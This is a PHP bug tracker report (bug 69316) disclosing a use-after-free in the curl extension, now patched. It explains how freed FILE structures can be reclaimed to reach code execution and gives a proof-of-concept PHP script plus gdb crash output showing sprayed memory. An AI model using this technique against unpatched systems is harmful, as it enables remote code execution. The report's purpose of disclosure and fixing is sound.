|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
Patchesbug69316.patch (last revision 2015-03-30 02:55 UTC by laruence@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-03-30 02:55 UTC] laruence@php.net
[2015-03-30 02:56 UTC] laruence@php.net
[2015-04-06 05:20 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2015-04-14 07:29 UTC] stas@php.net
[2015-04-14 07:29 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2015-04-14 08:31 UTC] stas@php.net
[2015-04-14 08:31 UTC] stas@php.net
[2015-04-15 08:43 UTC] jpauli@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 09:00:01 2025 UTC |
Description: ------------ All the relevant code mentioned below is in ext/curl/interface.c. As far as I can see, every PHP version after (at least) 5.0 is affected; possibly older versions too. When using CURLOPT_WRITEHEADER, CURLOPT_INFILE or CURLOPT_FILE, in _php_curl_setopt, the provided stream is cast to a stdio FILE*: if (FAILURE == php_stream_cast((php_stream *) what, PHP_STREAM_AS_STDIO, (void *) &fp, REPORT_ERRORS)) { return FAILURE; } This FILE* is then stored in the php_curl structure "ch", at the following locations, depending on which CURLOPT_ was used: - ch->handlers->write->fp = fp; - ch->handlers->write_header->fp = fp; - ch->handlers->read->fp = fp; Upon curl_exec(), _php_curl_verify_handlers() is called, which verifies if the user-set stream(s) are still open, and resets ->fp to 0 if they are not. However, there are a number of curl callbacks we can use to close the stream after _php_curl_verify_handlers() has been called, resulting in the FILE* being free()'d. By allocating memory that ends up a the same address where the FILE structure was, its possible to achieve arbitrary code execution. The following functions use *->fp without checking if the corresponding streams are still open (and thus if *->fp still points to a valid FILE structure or not): - static size_t curl_write(char *data, size_t size, size_t nmemb, void *ctx) - static size_t curl_read(char *data, size_t size, size_t nmemb, void *ctx) - static size_t curl_write_header(char *data, size_t size, size_t nmemb, void *ctx) - curl_exec (after curl processing is finished, there are 2 fflush() calls) On Linux, with PHP linked against GLIBC, arbitrary code execution is trivial, since FILE structures conveniently have a "vtable" full of function pointers which we now control. On Windows, exploitability depends on the version of the C runtime being used. Recent MS C runtimes keep a cache of FILE structures (they aren't free()'d upon fclose()), which complicates things. Please see the test script attached, tested against: - 64-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:47:39) - 32-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) - 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG) - custom build with ./configure --with-curl --enable-debug Test script: --------------- <?php function hdr_callback($ch, $data) { global $f_file; if ($f_file) { // close the stream, causing the FILE structure to be free()'d fclose($f_file); $f_file = 0; // cause an allocation of approx the same size as a FILE structure, size varies a bit depending on platform/libc $FILE_size = (PHP_INT_SIZE == 4 ? 0x160 : 0x238); curl_setopt($ch, CURLOPT_COOKIE, str_repeat("a", $FILE_size - 1)); } return strlen($data); } $ch = curl_init('http://www.php.net/'); $f_file = fopen("body", "w") or die("failed to open file\n"); curl_setopt($ch, CURLOPT_BUFFERSIZE, 10); curl_setopt($ch, CURLOPT_HEADERFUNCTION, "hdr_callback"); curl_setopt($ch, CURLOPT_FILE, $f_file); curl_exec($ch); ?> Expected result: ---------------- Segmentation fault. Actual result: -------------- sergio@ubuntu:/php-5.6.7-32$ gdb sapi/cli/php -ex 'r test.php' Reading symbols from sapi/cli/php...done. Starting program: /php-5.6.7-32/sapi/cli/php test.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff151b700 (LWP 29817)] [Thread 0x7ffff151b700 (LWP 29817) exited] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41 (gdb) bt #0 0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41 #1 0x000000000057e7f9 in curl_write (data=0x11178e9 "<", size=<optimized out>, nmemb=<optimized out>, ctx=0x7ffff7fc7550) at /php-5.6.7/ext/curl/interface.c:1303 #2 0x00007ffff70fba70 in Curl_client_write (conn=conn@entry=0x1129400, type=type@entry=1, ptr=0x11178e9 "<", len=1) at sendf.c:441 #3 0x00007ffff71101e0 in readwrite_data (done=0x7fffffffae07, didwhat=<synthetic pointer>, k=0x1117078, conn=0x1129400, data=0x1117000) at transfer.c:720 #4 Curl_readwrite (conn=0x1129400, done=done@entry=0x7fffffffae07) at transfer.c:1039 #5 0x00007ffff711932c in multi_runsingle (multi=multi@entry=0x1116860, now=..., data=data@entry=0x1117000) at multi.c:1479 #6 0x00007ffff7119ad1 in curl_multi_perform (multi_handle=multi_handle@entry=0x1116860, running_handles=running_handles@entry=0x7fffffffaec4) at multi.c:1752 #7 0x00007ffff7111233 in easy_transfer (multi=0x1116860) at easy.c:705 #8 easy_perform (events=false, data=0x1117000) at easy.c:784 #9 curl_easy_perform (easy=0x1117000) at easy.c:803 #10 0x00000000005836a8 in zif_curl_exec (ht=<optimized out>, return_value=0x7ffff7fc6f38, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /php-5.6.7/ext/curl/interface.c:2966 #11 0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:558 #12 0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:2595 #13 0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:363 #14 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc5428) at /php-5.6.7/Zend/zend_vm_execute.h:388 #15 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341 #16 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd560) at /php-5.6.7/main/main.c:2597 #17 0x00000000008a915e in do_cli (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:994 #18 0x00000000008aa48c in main (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:1378 (gdb) info reg rax 0x0 0 rbx 0x111fc70 17955952 rcx 0x111fc70 17955952 rdx 0x7ffff7fce780 140737353934720 rsi 0x1 1 rdi 0x11178e9 17922281 rbp 0x1 0x1 rsp 0x7fffffffac30 0x7fffffffac30 r8 0x6161616161616161 7016996765293437281 <---- sprayed memory r9 0x11178e9 17922281 r10 0x7fffffffaa20 140737488333344 r11 0x7ffff6d90d80 140737334807936 r12 0x1 1 r13 0x1 1 r14 0x11178e9 17922281 r15 0x0 0 rip 0x7ffff6d90dbf 0x7ffff6d90dbf <__GI__IO_fwrite+63> eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0